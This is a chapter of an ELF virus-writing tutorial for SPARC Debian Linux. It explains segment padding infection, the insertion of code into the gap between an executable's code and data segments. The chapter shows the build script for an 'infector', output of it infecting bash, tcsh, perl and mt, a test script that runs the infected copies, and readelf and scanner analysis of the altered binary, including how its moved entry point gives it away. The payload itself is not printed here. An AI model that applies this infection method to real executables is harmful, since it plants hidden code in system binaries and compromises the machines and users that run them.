The ELF Virus Writing HOWTO: sparc-debian2.2-linux
Prev |  | Next

# 8. Segment padding infection

| Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.
| Darth Vader

Another interesting thing in the output of Segments of /bin/sh is the distance between the two LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x95768 - 0x10000 - 0x75763 = 0x10005 = 65541 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x75768 - 0x0 - 0x75763 = 0x5 = 5 bytes

Only 5 bytes (0x5) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of `_SC_PAGESIZE`. We can fill the gap only in chunks of that size.

Output: out/sparc-debian2.2-linux/segment_padding/sysconf

    _SC_CLK_TCK=100
    _SC_VERSION=199506
    _SC_PAGESIZE=4096
    _SC_PHYS_PAGES=7557
    _SC_AVPHYS_PAGES=428

## 8.1. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/sparc-debian2.2-linux/one_step_closer/cc.sh

    #!/bin/bash
    project=${1:-one_step_closer}
    entry_addr=${2:-e1}
    infection=${3:-i1}
    main=${4}

    /usr/bin/gcc -Wall -O1 -I . -I out/sparc-debian2.2-linux -D NDEBUG \
    	-I ./src/one_step_closer/${entry_addr} \
    	-I out/sparc-debian2.2-linux/one_step_closer/${infection} \
    	-o tmp/sparc-debian2.2-linux/${project}/${entry_addr}${infection}/infector \
    	${main} 2>&1 \
    | /bin/sed '/left-hand operand of comma expression has no effect$/d'

Output: out/sparc-debian2.2-linux/segment_padding/e1i1/infect

    /usr/bin/tcsh ... wrote 76 bytes, Ok
    /usr/bin/perl ... wrote 76 bytes, Ok
    /bin/mt ... wrote 76 bytes, Ok
    /bin/bash ... wrote 76 bytes, Ok
    files=4; ok=4; failed=0

A simple shell script will do as test.

Output = Command: out/sparc-debian2.2-linux/segment_padding/test-e1i1.sh

    #!tmp/sparc-debian2.2-linux/segment_padding/e1i1/bash_infected
    echo $_
    echo ${BASH_VERSION}
    tmp/sparc-debian2.2-linux/segment_padding/e1i1/mt_infected
    tmp/sparc-debian2.2-linux/segment_padding/e1i1/tcsh_infected -fc 'echo ${version}'
    tmp/sparc-debian2.2-linux/segment_padding/e1i1/perl_infected -v | /bin/sed 3q
    echo "---"
    /bin/cat tmp/sparc-debian2.2-linux/segment_padding/e1i1/bash_infected > tmp/sparc-debian2.2-linux/segment_padding/e1i1/strip_bash_infected \
    && /usr/bin/strip tmp/sparc-debian2.2-linux/segment_padding/e1i1/strip_bash_infected \
    && /bin/chmod 755 tmp/sparc-debian2.2-linux/segment_padding/e1i1/strip_bash_infected \
    && tmp/sparc-debian2.2-linux/segment_padding/e1i1/strip_bash_infected --version

Output: out/sparc-debian2.2-linux/segment_padding/test-e1i1

    ELFbash_infected
    2.03.0(1)-release
    ELFUsage: tmp/sparc-debian2.2-linux/segment_padding/e1i1/mt_infected [-V] [-f device] [--file=device] [--rsh-command=command]
    	[--help] [--version] operation [count]
    ELFtcsh 6.09.00 (Astron) 1999-08-16 (sparc-unknown-linux) options 8b,nls,bye,al,ng,rh,nd,color
    ELF
    This is perl, version 5.005_03 built for sparc-linux

    ---
    ELFGNU bash, version 2.03.0(1)-release (sparc-unknown-linux-gnu)
    Copyright 1998 Free Software Foundation, Inc.

The Force is strong with this one. [1]

## 8.2. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/sparc-debian2.2-linux/segment_padding/readelf.sh

    #!/bin/bash
    cd tmp/sparc-debian2.2-linux/segment_padding/e1i1 \
    && /bin/ls -l bash_infected \
    && /usr/bin/readelf -l bash_infected

Output: out/sparc-debian2.2-linux/segment_padding/readelf

    -rwxr-xr-x    1 alba     alba       517028 Jan  8 23:11 bash_infected

    Elf file type is EXEC (Executable file)
    Entry point 0x85770
    There are 6 program headers, starting at offset 52

    Program Headers:
      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
      PHDR           0x000034 0x00010034 0x00010034 0x000c0 0x000c0 R E 0x4
      INTERP         0x0000f4 0x000100f4 0x000100f4 0x00013 0x00013 R   0x1
          [Requesting program interpreter: /lib/ld-linux.so.2]
      LOAD           0x000000 0x00010000 0x00010000 0x76763 0x76763 R E 0x10000
      LOAD           0x076768 0x00095768 0x00095768 0x057cc 0x09070 RWE 0x10000
      DYNAMIC        0x07be84 0x0009ae84 0x0009ae84 0x000b0 0x000b0 RW  0x4
      NOTE           0x000108 0x00010108 0x00010108 0x00020 0x00020 R   0x4

     Section to Segment mapping:
      Segment Sections...
       00
       01     .interp
       02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.bss .rela.plt .init .text .fini .rodata
       03     .data .eh_frame .ctors .dtors .plt .got .dynamic .bss
       04     .dynamic
       05     .note.ABI-tag

File size and code segment have grown as expected. Data segment and `DYNAMIC` segment moved accordingly:

> infected.file_size - sh.file_size = 517028 - 512932 = 4096 = 0x1000

> infected.`LOAD`[1].`Filesiz` - sh.`LOAD`[1].`Filesiz` = 0x76763 - 0x75763 = 0x1000

> infected.`LOAD`[2].`Offset` - sh.`LOAD`[2].`Offset` = 0x76768 - 0x75768 = 0x1000

> infected.`DYNAMIC`.`Offset` - sh.`DYNAMIC`.`Offset` = 0x7be84 - 0x7ae84 = 0x1000

And the new distance between the LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x95768 - 0x10000 - 0x76763 = 0xf005 = 61445 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x76768 - 0x0 - 0x76763 = 0x5 = 5 bytes

## 8.3. First scan

The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/sparc-debian2.2-linux/segment_padding/scan_dist.sh

    #!/bin/bash
    TEVWH_TMP=tmp/sparc-debian2.2-linux; export TEVWH_TMP
    /bin/echo "/bin/bash
    tmp/sparc-debian2.2-linux/one_step_closer/e1i1/bash_infected" \
    | tmp/sparc-debian2.2-linux/scanner/segment

Output: out/sparc-debian2.2-linux/segment_padding/scan

    /bin/bash ... delta=0x10005, Ok
    (2) No such file or directory
    CHECK: tmp/sparc-debian2.2-linux/one_step_closer/e1i1/bash_infected
    CHECK: src/scanner/segment/open_src.inc#9
    CHECK: (0) <= (t->fd_src = open(t->src_file, 0x0000))
    CHECK: 0 <= -1; 0 <= 0xffffffff
    files=2; ok=1; det_page=1; det_align=0; min=0x10005; max=0x0000

This is like playing chess against oneself, and losing. Can't do much about it, though.

## 8.4. Second scan

The value of `Entry point` changed dramatically. In the original it is in the first part of the file:

> entry_point_m/additional.cs.xml = 0x1f598 - 0x10000 = 0xf598 = 62872 bytes.

The infected copy moved that to less than `1000` bytes from the end of the code segment.

> entry_point_ofs = 0x85770 - 0x10000 = 0x75770 = 481136 bytes.

> end_of_LOAD1 = 0x10000 + 0x76763 = 0x86763

> entry_point_distance_to_end = 0x86763 - 0x85770 = 0xff3 = 4083

This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section `.text`.

### Notes

[1] | Ok, it is not strip-safe on SunOS. But I call that room for improvement.

Prev | Home | Next
Scanners |  | The entry point